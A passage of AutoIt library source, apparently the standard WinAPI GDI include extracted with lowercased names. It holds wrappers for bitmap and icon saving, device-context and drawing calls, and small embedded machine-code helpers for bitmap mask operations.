DllCall("gdi32.dll", "int", "SaveDC", "handle", $hdc) If @error Then Return SetError(@error, @extended, 0) Return $aret[0] EndFunc Func _winapi_savehbitmaptofile($sfilepath, $hbitmap, $ixpelspermeter = Default, $iypelspermeter = Default) Local $tbmp = DllStructCreate("align 1;ushort bfType;dword bfSize;ushort bfReserved1;ushort bfReserved2;dword bfOffset") Local $tdib = DllStructCreate($tagdibsection) Local $hdc, $hsv, $hsource = 0 While $hbitmap If (NOT _winapi_getobject($hbitmap, DllStructGetSize($tdib), $tdib)) OR (DllStructGetData($tdib, "biCompression")) Then $hbitmap = 0 Else Switch DllStructGetData($tdib, "bmBitsPixel") Case 32 If NOT _winapi_isalphabitmap($hbitmap) Then If NOT $hsource Then $hsource = _winapi_createdib(DllStructGetData($tdib, "bmWidth"), DllStructGetData($tdib, "bmHeight"), 24) If NOT $hsource Then $hbitmap = 0 EndIf $hdc = _winapi_createcompatibledc(0) $hsv = _winapi_selectobject($hdc, $hsource) If _winapi_drawbitmap($hdc, 0, 0, $hbitmap) Then $hbitmap = $hsource Else $hbitmap = 0 EndIf _winapi_selectobject($hdc, $hsv) _winapi_deletedc($hdc) Else $hbitmap = 0 EndIf ContinueLoop EndIf Case Else EndSwitch If (NOT DllStructGetData($tdib, "bmBits")) OR (NOT DllStructGetData($tdib, "biSizeImage")) Then If NOT $hsource Then $hbitmap = _winapi_copybitmap($hbitmap) $hsource = $hbitmap Else $hbitmap = 0 EndIf Else ExitLoop EndIf EndIf WEnd Local $hfile = 0, $ierror = 0, $iresult = 0 Do If NOT $hbitmap Then $ierror = 1 ExitLoop EndIf Local $adata[4][2] $adata[0][0] = DllStructGetPtr($tbmp) $adata[0][1] = DllStructGetSize($tbmp) $adata[1][0] = DllStructGetPtr($tdib, "biSize") $adata[1][1] = 40 $adata[2][1] = DllStructGetData($tdib, "biClrUsed") * 4 Local $ttable = 0 If $adata[2][1] Then $ttable = _winapi_getdibcolortable($hbitmap) If @error OR (@extended <> $adata[2][1] / 4) Then $ierror = @error + 10 ExitLoop EndIf EndIf $adata[2][0] = DllStructGetPtr($ttable) $adata[3][0] = DllStructGetData($tdib, "bmBits") $adata[3][1] = DllStructGetData($tdib, "biSizeImage") DllStructSetData($tbmp, "bfType", 19778) DllStructSetData($tbmp, "bfSize", $adata[0][1] + $adata[1][1] + $adata[2][1] + $adata[3][1]) DllStructSetData($tbmp, "bfReserved1", 0) DllStructSetData($tbmp, "bfReserved2", 0) DllStructSetData($tbmp, "bfOffset", $adata[0][1] + $adata[1][1] + $adata[2][1]) $hdc = _winapi_getdc(0) If $ixpelspermeter = Default Then If NOT DllStructGetData($tdib, "biXPelsPerMeter") Then DllStructSetData($tdib, "biXPelsPerMeter", _winapi_getdevicecaps($hdc, 8) / _winapi_getdevicecaps($hdc, 4) * 1000) EndIf Else DllStructSetData($tdib, "biXPelsPerMeter", $ixpelspermeter) EndIf If $iypelspermeter = Default Then If NOT DllStructGetData($tdib, "biYPelsPerMeter") Then DllStructSetData($tdib, "biYPelsPerMeter", _winapi_getdevicecaps($hdc, 10) / _winapi_getdevicecaps($hdc, 6) * 1000) EndIf Else DllStructSetData($tdib, "biYPelsPerMeter", $iypelspermeter) EndIf _winapi_releasedc(0, $hdc) $hfile = _winapi_createfile($sfilepath, 1, 4) If @error Then $ierror = @error + 20 ExitLoop EndIf Local $ibytes For $i = 0 To 3 If $adata[$i][1] Then If NOT _winapi_writefile($hfile, $adata[$i][0], $adata[$i][1], $ibytes) Then $ierror = @error + 30 ExitLoop 2 EndIf EndIf Next $iresult = 1 Until 1 If $hsource Then _winapi_deleteobject($hsource) EndIf _winapi_closehandle($hfile) If NOT $iresult Then FileDelete($sfilepath) EndIf Return SetError($ierror, 0, $iresult) EndFunc Func _winapi_savehicontofile($sfilepath, Const ByRef $vicon, $bcompress = 0, $istart = 0, $iend = -1) Local $aicon, $atemp, $icount = 1 If NOT IsArray($vicon) Then Dim $aicon[1] = [$vicon] Dim $atemp[1] = [0] Else If __checkerrorarraybounds($vicon, $istart, $iend) Then Return SetError(@error + 10, @extended, 0) $icount = $iend - $istart + 1 If $icount Then Dim $aicon[$icount] Dim $atemp[$icount] For $i = 0 To $icount - 1 $aicon[$i] = $vicon[$istart + $i] $atemp[$i] = 0 Next EndIf EndIf Local $hfile = _winapi_createfile($sfilepath, 1, 4) If @error Then Return SetError(@error + 20, @extended, 0) Local $tico = DllStructCreate("align 1;ushort Reserved;ushort Type;ushort Count;byte Data[" & (16 * $icount) & "]") Local $ilength = DllStructGetSize($tico) Local $tbi = DllStructCreate($tagbitmapinfoheader) Local $tii = DllStructCreate($tagiconinfo) Local $tdib = DllStructCreate($tagdibsection) Local $idib = DllStructGetSize($tdib) Local $pdib = DllStructGetPtr($tdib) Local $ioffset = $ilength DllStructSetData($tbi, "biSize", 40) DllStructSetData($tbi, "biPlanes", 1) DllStructSetData($tbi, "biXPelsPerMeter", 0) DllStructSetData($tbi, "biYPelsPerMeter", 0) DllStructSetData($tbi, "biClrUsed", 0) DllStructSetData($tbi, "biClrImportant", 0) DllStructSetData($tico, "Reserved", 0) DllStructSetData($tico, "Type", 1) DllStructSetData($tico, "Count", $icount) Local $iresult = 0, $ierror = 0 Do Local $ibytes If NOT _winapi_writefile($hfile, $tico, $ilength, $ibytes) Then $ierror = @error + 30 ExitLoop EndIf Local $ainfo[8], $aret, $pdata = 0, $iindex = 0 While $icount > $iindex $aret = DllCall("user32.dll", "bool", "GetIconInfo", "handle", $aicon[$iindex], "struct*", $tii) If @error OR NOT $aret[0] Then $ierror = @error + 40 ExitLoop 2 EndIf For $i = 4 To 5 $ainfo[$i] = _winapi_copyimage(DllStructGetData($tii, $i), 0, 0, 0, 8200) If _winapi_getobject($ainfo[$i], $idib, $pdib) Then $ainfo[$i - 4] = DllStructGetData($tdib, "biSizeImage") $ainfo[$i - 2] = DllStructGetData($tdib, "bmBits") Else $ierror = @error + 50 EndIf Next $ainfo[6] = 40 $ainfo[7] = DllStructGetData($tdib, "bmBitsPixel") Switch $ainfo[7] Case 16, 24 Case 32 If NOT _winapi_isalphabitmap($ainfo[5]) Then If NOT $atemp[$iindex] Then $aicon[$iindex] = _winapi_create32bithicon($aicon[$iindex]) $atemp[$iindex] = $aicon[$iindex] If NOT @error Then ContinueLoop Else ContinueCase EndIf EndIf Else If ($ainfo[1] >= 256 * 256 * 4) AND ($bcompress) Then $ibytes = _winapi_compressbitmapbits($ainfo[5], $pdata) If NOT @error Then $ainfo[0] = 0 $ainfo[1] = $ibytes $ainfo[2] = 0 $ainfo[3] = $pdata $ainfo[6] = 0 EndIf EndIf EndIf Case Else $ierror = 60 EndSwitch If $ierror Then Else Local $asize[2] Local $tdata = DllStructCreate("byte Width;byte Height;byte ColorCount;byte Reserved;ushort Planes;ushort BitCount;long Size;long Offset", DllStructGetPtr($tico) + 6 + 16 * $iindex) DllStructSetData($tdata, "ColorCount", 0) DllStructSetData($tdata, "Reserved", 0) DllStructSetData($tdata, "Planes", 1) DllStructSetData($tdata, "BitCount", $ainfo[7]) DllStructSetData($tdata, "Size", $ainfo[0] + $ainfo[1] + $ainfo[6]) DllStructSetData($tdata, "Offset", $ioffset) For $i = 0 To 1 $asize[$i] = DllStructGetData($tdib, $i + 2) If $asize[$i] < 256 Then DllStructSetData($tdata, $i + 1, $asize[$i]) Else DllStructSetData($tdata, $i + 1, 0) EndIf Next DllStructSetData($tbi, "biWidth", $asize[0]) DllStructSetData($tbi, "biHeight", 2 * $asize[1]) DllStructSetData($tbi, "biBitCount", $ainfo[7]) DllStructSetData($tbi, "biCompression", 0) DllStructSetData($tbi, "biSizeImage", $ainfo[0] + $ainfo[1]) $ioffset += $ainfo[0] + $ainfo[1] + $ainfo[6] Do If $ainfo[6] Then If NOT _winapi_writefile($hfile, $tbi, $ainfo[6], $ibytes) Then $ierror = @error + 70 ExitLoop EndIf For $i = 1 To 0 Step -1 If NOT _winapi_writefile($hfile, $ainfo[$i + 2], $ainfo[$i], $ibytes) Then $ierror = @error + 80 ExitLoop 2 EndIf Next Else If NOT _winapi_writefile($hfile, $ainfo[3], $ainfo[1], $ibytes) Then $ierror = @error + 90 ExitLoop EndIf EndIf Until 1 EndIf For $i = 4 To 5 _winapi_deleteobject($ainfo[$i]) Next If $ierror Then ExitLoop 2 EndIf $iindex += 1 WEnd $aret = DllCall("kernel32.dll", "bool", "SetFilePointerEx", "handle", $hfile, "int64", 0, "int64*", 0, "dword", 0) If @error OR NOT $aret[0] Then $ierror = @error + 100 ExitLoop EndIf If NOT _winapi_writefile($hfile, $tico, $ilength, $ibytes) Then $ierror = @error + 110 ExitLoop EndIf $iresult = 1 Until 1 For $i = 0 To $icount - 1 If $atemp[$i] Then _winapi_destroyicon($atemp[$i]) EndIf Next If $pdata Then __heapfree($pdata) EndIf _winapi_closehandle($hfile) If NOT $iresult Then FileDelete($sfilepath) EndIf Return SetError($ierror, 0, $iresult) EndFunc Func _winapi_scalewindowext($hdc, $ixnum, $ixdenom, $iynum, $iydenom) $__g_vext = DllStructCreate($tagsize) Local $aret = DllCall("gdi32.dll", "bool", "ScaleWindowExtEx", "handle", $hdc, "int", $ixnum, "int", $ixdenom, "int", $iynum, "int", $iydenom, "struct*", $__g_vext) If @error Then Return SetError(@error, @extended, False) Return $aret[0] EndFunc Func _winapi_selectclippath($hdc, $imode = 5) Local $aret = DllCall("gdi32.dll", "bool", "SelectClipPath", "handle", $hdc, "int", $imode) If @error Then Return SetError(@error, @extended, False) Return $aret[0] EndFunc Func _winapi_selectcliprgn($hdc, $hrgn) Local $aret = DllCall("gdi32.dll", "int", "SelectClipRgn", "handle", $hdc, "handle", $hrgn) If @error Then Return SetError(@error, @extended, 0) Return $aret[0] EndFunc Func _winapi_setarcdirection($hdc, $idirection) Local $aret = DllCall("gdi32.dll", "int", "SetArcDirection", "handle", $hdc, "int", $idirection) If @error Then Return SetError(@error, @extended, 0) Return $aret[0] EndFunc Func _winapi_setbitmapbits($hbitmap, $isize, $pbits) Local $aret = DllCall("gdi32.dll", "long", "SetBitmapBits", "handle", $hbitmap, "dword", $isize, "struct*", $pbits) If @error Then Return SetError(@error, @extended, 0) Return $aret[0] EndFunc Func _winapi_setbitmapdimensionex($hbitmap, $iwidth, $iheight) $__g_vext = DllStructCreate($tagsize) Local $aret = DllCall("gdi32.dll", "bool", "SetBitmapDimensionEx", "handle", $hbitmap, "int", $iwidth, "int", $iheight, "struct*", $__g_vext) If @error Then Return SetError(@error, @extended, False) Return $aret[0] EndFunc Func _winapi_setboundsrect($hdc, $iflags, $trect = 0) Local $aret = DllCall("gdi32.dll", "uint", "SetBoundsRect", "handle", $hdc, "struct*", $trect, "uint", $iflags) If @error Then Return SetError(@error, @extended, False) Return $aret[0] EndFunc Func _winapi_setbrushorg($hdc, $ix, $iy) $__g_vext = DllStructCreate($tagpoint) Local $aret = DllCall("gdi32.dll", "bool", "SetBrushOrgEx", "handle", $hdc, "int", $ix, "int", $iy, "struct*", $__g_vext) If @error Then Return SetError(@error, @extended, False) Return $aret[0] EndFunc Func _winapi_setcoloradjustment($hdc, $tadjustment) Local $aret = DllCall("gdi32.dll", "bool", "SetColorAdjustment", "handle", $hdc, "struct*", $tadjustment) If @error Then Return SetError(@error, @extended, 0) Return $aret[0] EndFunc Func _winapi_setdcbrushcolor($hdc, $irgb) Local $aret = DllCall("gdi32.dll", "dword", "SetDCBrushColor", "handle", $hdc, "dword", __rgb($irgb)) If @error OR ($aret[0] = 4294967295) Then Return SetError(@error, @extended, -1) Return __rgb($aret[0]) EndFunc Func _winapi_setdcpencolor($hdc, $irgb) Local $aret = DllCall("gdi32.dll", "dword", "SetDCPenColor", "handle", $hdc, "dword", __rgb($irgb)) If @error OR ($aret[0] = 4294967295) Then Return SetError(@error, @extended, -1) Return __rgb($aret[0]) EndFunc Func _winapi_setdevicegammaramp($hdc, Const ByRef $aramp) If (UBound($aramp, $ubound_dimensions) <> 2) OR (UBound($aramp, $ubound_rows) <> 256) OR (UBound($aramp, $ubound_columns) <> 3) Then Return SetError(12, 0, 0) EndIf Local $tdata = DllStructCreate("ushort[256];ushort[256];ushort[256]") For $i = 0 To 2 For $j = 0 To 255 DllStructSetData($tdata, $i + 1, $aramp[$j][$i], $j + 1) Next Next Local $aret = DllCall("gdi32.dll", "bool", "SetDeviceGammaRamp", "handle", $hdc, "struct*", $tdata) If @error Then Return SetError(@error, @extended, False) Return $aret[0] EndFunc Func _winapi_setdibcolortable($hbitmap, $tcolortable, $icolorcount) If $icolorcount > DllStructGetSize($tcolortable) / 4 Then Return SetError(1, 0, 0) Local $hdc = _winapi_createcompatibledc(0) Local $hsv = _winapi_selectobject($hdc, $hbitmap) Local $ierror = 0 Local $aret = DllCall("gdi32.dll", "uint", "SetDIBColorTable", "handle", $hdc, "uint", 0, "uint", $icolorcount, "struct*", $tcolortable) If @error Then $ierror = @error _winapi_selectobject($hdc, $hsv) _winapi_deletedc($hdc) If $ierror Then Return SetError($ierror, 0, 0) Return $aret[0] EndFunc Func _winapi_setdibitstodevice($hdc, $ixdest, $iydest, $iwidth, $iheight, $ixsrc, $iysrc, $istartscan, $iscanlines, $tbitmapinfo, $iusage, $pbits) Local $aret = DllCall("gdi32.dll", "int", "SetDIBitsToDevice", "handle", $hdc, "int", $ixdest, "int", $iydest, "dword", $iwidth, "dword", $iheight, "int", $ixsrc, "int", $iysrc, "uint", $istartscan, "uint", $iscanlines, "struct*", $pbits, "struct*", $tbitmapinfo, "uint", $iusage) If @error OR ($aret[0] = -1) Then Return SetError(@error + 10, $aret[0], 0) Return $aret[0] EndFunc Func _winapi_setenhmetafilebits($pdata, $ilength) Local $aret = DllCall("gdi32.dll", "handle", "SetEnhMetaFileBits", "uint", $ilength, "struct*", $pdata) If @error Then Return SetError(@error, @extended, 0) Return $aret[0] EndFunc Func _winapi_setgraphicsmode($hdc, $imode) Local $aret = DllCall("gdi32.dll", "int", "SetGraphicsMode", "handle", $hdc, "int", $imode) If @error Then Return SetError(@error, @extended, 0) Return $aret[0] EndFunc Func _winapi_setmapmode($hdc, $imode) Local $aret = DllCall("gdi32.dll", "int", "SetMapMode", "handle", $hdc, "int", $imode) If @error Then Return SetError(@error, @extended, 0) Return $aret[0] EndFunc Func _winapi_setpixel($hdc, $ix, $iy, $irgb) Local $aret = DllCall("gdi32.dll", "bool", "SetPixelV", "handle", $hdc, "int", $ix, "int", $iy, "dword", __rgb($irgb)) If @error Then Return SetError(@error, @extended, False) Return $aret[0] EndFunc Func _winapi_setpolyfillmode($hdc, $imode = 1) Local $aret = DllCall("gdi32.dll", "int", "SetPolyFillMode", "handle", $hdc, "int", $imode) If @error Then Return SetError(@error, @extended, 0) Return $aret[0] EndFunc Func _winapi_setrectrgn($hrgn, $trect) Local $aret = DllCall("gdi32.dll", "bool", "SetRectRgn", "handle", $hrgn, "int", DllStructGetData($trect, 1), "int", DllStructGetData($trect, 2), "int", DllStructGetData($trect, 3), "int", DllStructGetData($trect, 4)) If @error Then Return SetError(@error, @extended, False) Return $aret[0] EndFunc Func _winapi_setrop2($hdc, $imode) Local $aret = DllCall("gdi32.dll", "int", "SetROP2", "handle", $hdc, "int", $imode) If @error Then Return SetError(@error, @extended, 0) Return $aret[0] EndFunc Func _winapi_setstretchbltmode($hdc, $imode) Local $aret = DllCall("gdi32.dll", "int", "SetStretchBltMode", "handle", $hdc, "int", $imode) If @error OR NOT $aret[0] OR ($aret[0] = 87) Then Return SetError(@error + 10, $aret[0], 0) Return $aret[0] EndFunc Func _winapi_settextalign($hdc, $imode = 0) Local $aret = DllCall("gdi32.dll", "uint", "SetTextAlign", "handle", $hdc, "uint", $imode) If @error OR ($aret[0] = 4294967295) Then Return SetError(@error, @extended, -1) Return $aret[0] EndFunc Func _winapi_settextcharacterextra($hdc, $icharextra) Local $aret = DllCall("gdi32.dll", "int", "SetTextCharacterExtra", "handle", $hdc, "int", $icharextra) If @error OR ($aret[0] = -2147483648) Then Return SetError(@error, @extended, -1) Return $aret[0] EndFunc Func _winapi_settextjustification($hdc, $ibreakextra, $ibreakcount) Local $aret = DllCall("gdi32.dll", "bool", "SetTextJustification", "handle", $hdc, "int", $ibreakextra, "int", $ibreakcount) If @error Then Return SetError(@error, @extended, False) Return $aret[0] EndFunc Func _winapi_setudfcolormode($imode) $__g_irgbmode = NOT ($imode = 0) EndFunc Func _winapi_setwindowext($hdc, $ixextent, $iyextent) $__g_vext = DllStructCreate($tagsize) Local $aret = DllCall("gdi32.dll", "bool", "SetWindowExtEx", "handle", $hdc, "int", $ixextent, "int", $iyextent, "struct*", $__g_vext) If @error Then Return SetError(@error, @extended, False) Return $aret[0] EndFunc Func _winapi_setwindoworg($hdc, $ix, $iy) $__g_vext = DllStructCreate($tagpoint) Local $aret = DllCall("gdi32.dll", "bool", "SetWindowOrgEx", "handle", $hdc, "int", $ix, "int", $iy, "struct*", $__g_vext) If @error Then Return SetError(@error, @extended, False) Return $aret[0] EndFunc Func _winapi_setworldtransform($hdc, ByRef $txform) Local $aret = DllCall("gdi32.dll", "bool", "SetWorldTransform", "handle", $hdc, "struct*", $txform) If @error Then Return SetError(@error, @extended, False) Return $aret[0] EndFunc Func _winapi_stretchblt($hdestdc, $ixdest, $iydest, $iwidthdest, $iheightdest, $hsrcdc, $ixsrc, $iysrc, $iwidthsrc, $iheightsrc, $irop) Local $aret = DllCall("gdi32.dll", "bool", "StretchBlt", "handle", $hdestdc, "int", $ixdest, "int", $iydest, "int", $iwidthdest, "int", $iheightdest, "hwnd", $hsrcdc, "int", $ixsrc, "int", $iysrc, "int", $iwidthsrc, "int", $iheightsrc, "dword", $irop) If @error Then Return SetError(@error, @extended, False) Return $aret[0] EndFunc Func _winapi_stretchdibits($hdestdc, $ixdest, $iydest, $iwidthdest, $iheightdest, $ixsrc, $iysrc, $iwidthsrc, $iheightsrc, $tbitmapinfo, $iusage, $pbits, $irop) Local $aret = DllCall("gdi32.dll", "int", "StretchDIBits", "handle", $hdestdc, "int", $ixdest, "int", $iydest, "int", $iwidthdest, "int", $iheightdest, "int", $ixsrc, "int", $iysrc, "int", $iwidthsrc, "int", $iheightsrc, "struct*", $pbits, "struct*", $tbitmapinfo, "uint", $iusage, "dword", $irop) If @error OR ($aret[0] = -1) Then Return SetError(@error + 10, $aret[0], 0) Return $aret[0] EndFunc Func _winapi_strokeandfillpath($hdc) Local $aret = DllCall("gdi32.dll", "bool", "StrokeAndFillPath", "handle", $hdc) If @error Then Return SetError(@error, @extended, False) Return $aret[0] EndFunc Func _winapi_strokepath($hdc) Local $aret = DllCall("gdi32.dll", "bool", "StrokePath", "handle", $hdc) If @error Then Return SetError(@error, @extended, False) Return $aret[0] EndFunc Func _winapi_subtractrect(ByRef $trect1, ByRef $trect2) Local $trect = DllStructCreate($tagrect) Local $aret = DllCall("user32.dll", "bool", "SubtractRect", "struct*", $trect, "struct*", $trect1, "struct*", $trect2) If @error OR NOT $aret[0] Then Return SetError(@error + 10, @extended, 0) Return $trect EndFunc Func _winapi_tabbedtextout($hdc, $ix, $iy, $stext, $atab = 0, $istart = 0, $iend = -1, $iorigin = 0) Local $itab, $icount If NOT IsArray($atab) Then If $atab Then $itab = $atab Dim $atab[1] = [$itab] $istart = 0 $iend = 0 $icount = 1 Else $icount = 0 EndIf Else $icount = 1 EndIf Local $ttab = 0 If $icount Then If __checkerrorarraybounds($atab, $istart, $iend) Then Return SetError(@error + 10, @extended, 0) $icount = $iend - $istart + 1 $ttab = DllStructCreate("uint[" & $icount & "]") $itab = 1 For $i = $istart To $iend DllStructSetData($ttab, 1, $atab[$i], $itab) $itab += 1 Next EndIf Local $aret = DllCall("user32.dll", "long", "TabbedTextOutW", "handle", $hdc, "int", $ix, "int", $iy, "wstr", $stext, "int", StringLen($stext), "int", $icount, "struct*", $ttab, "int", $iorigin) If @error OR NOT $aret[0] Then Return SetError(@error, @extended, 0) $__g_vext = _winapi_createsize(_winapi_loword($aret[0]), _winapi_hiword($aret[0])) Return 1 EndFunc Func _winapi_textout($hdc, $ix, $iy, $stext) Local $aret = DllCall("gdi32.dll", "bool", "TextOutW", "handle", $hdc, "int", $ix, "int", $iy, "wstr", $stext, "int", StringLen($stext)) If @error Then Return SetError(@error, @extended, 0) Return $aret[0] EndFunc Func _winapi_transparentblt($hdestdc, $ixdest, $iydest, $iwidthdest, $iheightdest, $hsrcdc, $ixsrc, $iysrc, $iwidthsrc, $iheightsrc, $irgb) Local $aret = DllCall("gdi32.dll", "bool", "GdiTransparentBlt", "handle", $hdestdc, "int", $ixdest, "int", $iydest, "int", $iwidthdest, "int", $iheightdest, "hwnd", $hsrcdc, "int", $ixsrc, "int", $iysrc, "int", $iwidthsrc, "int", $iheightsrc, "dword", __rgb($irgb)) If @error Then Return SetError(@error, @extended, False) Return $aret[0] EndFunc Func _winapi_unionrect(ByRef $trect1, ByRef $trect2) Local $trect = DllStructCreate($tagrect) Local $aret = DllCall("user32.dll", "bool", "UnionRect", "struct*", $trect, "struct*", $trect1, "struct*", $trect2) If @error OR NOT $aret[0] Then Return SetError(@error + 10, 0, 0) Return $trect EndFunc Func _winapi_validaterect($hwnd, $trect = 0) Local $aret = DllCall("user32.dll", "bool", "ValidateRect", "hwnd", $hwnd, "struct*", $trect) If @error Then Return SetError(@error, @extended, 0) Return $aret[0] EndFunc Func _winapi_validatergn($hwnd, $hrgn = 0) Local $aret = DllCall("user32.dll", "bool", "ValidateRgn", "hwnd", $hwnd, "handle", $hrgn) If @error Then Return SetError(@error, @extended, 0) Return $aret[0] EndFunc Func _winapi_widenpath($hdc) Local $aret = DllCall("gdi32.dll", "bool", "WidenPath", "handle", $hdc) If @error Then Return SetError(@error, @extended, 0) Return $aret[0] EndFunc Func _winapi_windowfromdc($hdc) Local $aret = DllCall("user32.dll", "hwnd", "WindowFromDC", "handle", $hdc) If @error Then Return SetError(@error, @extended, 0) Return $aret[0] EndFunc #EndRegion Public Functions #Region Embedded DLL Functions Func __alphaproc() Static $pproc = 0 If NOT $pproc Then If @AutoItX64 Then $pproc = __init(Binary("0x48894C240848895424104C894424184C894C24205541574831C050504883EC28" & "48837C24600074054831C0EB0748C7C0010000004821C0751F488B6C24604883" & "7D180074054831C0EB0748C7C0010000004821C07502EB0948C7C001000000EB" & "034831C04821C0740C48C7C0FFFFFFFF4863C0EB6F48C744242800000000488B" & "6C24604C637D04488B6C2460486345084C0FAFF849C1E7024983C7FC4C3B7C24" & "287C36488B6C24604C8B7D184C037C24284983C7034C897C2430488B6C243080" & "7D0000740C48C7C0010000004863C0EB1348834424280471A54831C04863C0EB" & "034831C04883C438415F5DC3")) Else $pproc = __init(Binary("0x555331C05050837C241C00740431C0EB05B80100000021C075198B6C241C837D" & "1400740431C0EB05B80100000021C07502EB07B801000000EB0231C021C07407" & "B8FFFFFFFFEB4FC70424000000008B6C241C8B5D048B6C241C0FAF5D08C1E302" & "83C3FC3B1C247C288B6C241C8B5D14031C2483C303895C24048B6C2404807D00" & "007407B801000000EB0C8304240471BE31C0EB0231C083C4085B5DC21000")) EndIf EndIf Return $pproc EndFunc Func __andproc() Static $pproc = 0 If NOT $pproc Then If @AutoItX64 Then $pproc = __init(Binary("0x48894C240848895424104C894424184C894C2420554157415648C7C009000000" & "4883EC0848C704240000000048FFC875EF4883EC284883BC24A0000000007405" & "4831C0EB0748C7C0010000004821C00F85840000004883BC24A8000000007405" & "4831C0EB0748C7C0010000004821C07555488BAC24A000000048837D18007405" & "4831C0EB0748C7C0010000004821C07522488BAC24A800000048837D18007405" & "4831C0EB0748C7C0010000004821C07502EB0948C7C001000000EB034831C048" & "21C07502EB0948C7C001000000EB034831C04821C07502EB0948C7C001000000" & "EB034831C04821C0740B4831C04863C0E9D701000048C74424280000000048C7" & "44243000000000488BAC24A00000004C637D0849FFCF4C3B7C24300F8C9C0100" & "0048C74424380000000048C74424400000000048C744244800000000488BAC24" & "A00000004C637D0449FFCF4C3B7C24480F8CDB000000488BAC24A00000004C8B" & "7D184C037C24284983C7034C897C2450488B6C2450807D000074264C8B7C2440" & "4C8B74243849F7DE4983C61F4C89F148C7C00100000048D3E04909C74C897C24" & "4048FF4424384C8B7C24384983FF1F7E6F4C8B7C244049F7D74C897C244048C7" & "442458180000004831C0483B4424587F3D488BAC24A80000004C8B7D184C037C" & "24604C897C24504C8B7C2440488B4C245849D3FF4C89F850488B6C2458588845" & "0048FF4424604883442458F871B948C74424380000000048C744244000000000" & "48834424280448FF4424480F810BFFFFFF48837C24380074794C8B7C244049F7" & "D74C8B74243849F7DE4983C6204C89F148C7C0FFFFFFFF48D3E04921C74C897C" & "244048C7442458180000004831C0483B4424587F3D488BAC24A80000004C8B7D" & "184C037C24604C897C24504C8B7C2440488B4C245849D3FF4C89F850488B6C24" & "585888450048FF4424604883442458F871B948FF4424300F814AFEFFFF48C7C0" & "010000004863C0EB034831C04883C470415E415F5DC3")) Else $pproc = __init(Binary("0x555357BA0800000083EC04C70424000000004A75F3837C243800740431C0EB05" & "B80100000021C07562837C243C00740431C0EB05B80100000021C0753F8B6C24" & "38837D1400740431C0EB05B80100000021C075198B6C243C837D1400740431C0" & "EB05B80100000021C07502EB07B801000000EB0231C021C07502EB07B8010000" & "00EB0231C021C07502EB07B801000000EB0231C021C0740731C0E969010000C7" & "042400000000C7442404000000008B6C24388B5D084B3B5C24040F8C3F010000" & "C744240800000000C744240C00000000C7442410000000008B6C24388B5D044B" & "3B5C24100F8CA90000008B6C24388B5D14031C2483C303895C24148B6C241480" & "7D0000741C8B5C240C8B7C2408F7DF83C71F89F9B801000000D3E009C3895C24" & "0CFF4424088B5C240883FB1F7E578B5C240CF7D3895C240CC744241818000000" & "31C03B4424187F2D8B6C243C8B5D14035C241C895C24148B5C240C8B4C2418D3" & "FB538B6C241858884500FF44241C83442418F871CBC744240800000000C74424" & "0C0000000083042404FF4424100F8145FFFFFF837C240800745B8B5C240CF7D3" & "8B7C2408F7DF83C72089F9B8FFFFFFFFD3E021C3895C240CC744241818000000" & "31C03B4424187F2D8B6C243C8B5D14035C241C895C24148B5C240C8B4C2418D3" & "FB538B6C241858884500FF44241C83442418F871CBFF4424040F81AFFEFFFFB8" & "01000000EB0231C083C4205F5B5DC21000")) EndIf EndIf Return $pproc EndFunc Func __xorproc() Static $pproc = 0 If NOT $pproc Then If @AutoItX64 Then $pproc = __init(Binary("0x48894C240848895424104C894424184C894C24205541574831C050504883EC28" & "48837C24600074054831C0EB0748C7C0010000004821C0751B48837C24680074" & "054831C0EB0748C7C0010000004821C07502EB0948C7C001000000EB034831C0" & "4821C074084831C04863C0EB7748C7442428000000004C637C24584983C7FC4C" & "3B7C24287C4F4C8B7C24604C037C24284C897C2430488B6C2430807D00007405" & "4831C0EB0748C7C0010000004821C0741C4C8B7C24684C037C24284983C7034C" & "897C2430488B6C2430C64500FF48834424280471A148C7C0010000004863C0EB" & "034831C04883C438415F5DC3")) Else $pproc = __init(Binary("0x555331C05050837C241C00740431C0EB05B80100000021C07516837C24200074" & "0431C0EB05B80100000021C07502EB07B801000000EB0231C021C0740431C0EB" & "5AC70424000000008B5C241883C3FC3B1C247C3E8B5C241C031C24895C24048B" & "6C2404807D0000740431C0EB05B80100000021C074168B5C2420031C2483C303" & "895C24048B6C2404C64500FF8304240471B6B801000000EB0231C083C4085B5D" & "C21000")) EndIf EndIf Return $pproc EndFunc #EndRegion Embedded DLL Functions #Region Internal Functions Func __enumdisplaymonitorsproc($hmonitor, $hdc, $prect, $lparam) #forceref $hDC, $lParam __inc($__g_venum) $__g_venum[$__g_venum[0][0]][0] = $hmonitor If NOT $prect Then $__g_venum[$__g_venum[0][0]][1] = 0 Else $__g_venum[$__g_venum[0][0]][1] = DllStructCreate($tagrect) If NOT _winapi_movememory(DllStructGetPtr($__g_venum[$__g_venum[0][0]][1]), $prect, 16) Then Return 0 EndIf Return 1 EndFunc Func __enumfontfamiliesproc($pelfex, $pntmex, $ifonttype, $ppattern) Local $telfex = DllStructCreate($taglogfont & ";wchar FullName[64];wchar Style[32];wchar Script[32]", $pelfex) Local $tntmex = DllStructCreate($tagnewtextmetricex, $pntmex) Local $tpattern = DllStructCreate("uint;uint;ptr", $ppattern) If $ifonttype AND NOT BitAND($ifonttype, DllStructGetData($tpattern, 1)) Then Return 1 EndIf If DllStructGetData($tpattern, 3) Then Local $aret = DllCall("shlwapi.dll", "bool", "PathMatchSpecW", "ptr", DllStructGetPtr($telfex, 14), "ptr", DllStructGetData($tpattern, 3)) If NOT @error Then If DllStructGetData($tpattern, 2) Then If $aret[0] Then Return 1 Else EndIf Else If $aret[0] Then Else Return 1 EndIf EndIf EndIf EndIf __inc($__g_venum) $__g_venum[$__g_venum[0][0]][0] = DllStructGetData($telfex, 14) $__g_venum[$__g_venum[0][0]][1] = DllStructGetData($telfex, 16) $__g_venum[$__g_venum[0][0]][2] = DllStructGetData($telfex, 15) $__g_venum[$__g_venum[0][0]][3] = DllStructGetData($telfex, 17) $__g_venum[$__g_venum[0][0]][4] = $ifonttype $__g_venum[$__g_venum[0][0]][5] = DllStructGetData($tntmex, 19) $__g_venum[$__g_venum[0][0]][6] = DllStructGetData($tntmex, 20) $__g_venum[$__g_venum[0][0]][7] = DllStructGetData($tntmex, 21) Return 1 EndFunc Func __enumfontstylesproc($pelfex, $pntmex, $ifonttype, $pfn) #forceref $iFontType Local $telfex = DllStructCreate($taglogfont & ";wchar FullName[64];wchar Style[32];wchar Script[32]", $pelfex) Local $tntmex = DllStructCreate($tagnewtextmetricex, $pntmex) Local $tfn = DllStructCreate("dword;wchar[64]", $pfn) If BitAND(DllStructGetData($tntmex, "ntmFlags"), 97) = DllStructGetData($tfn, 1) Then DllStructSetData($tfn, 2, DllStructGetData($telfex, 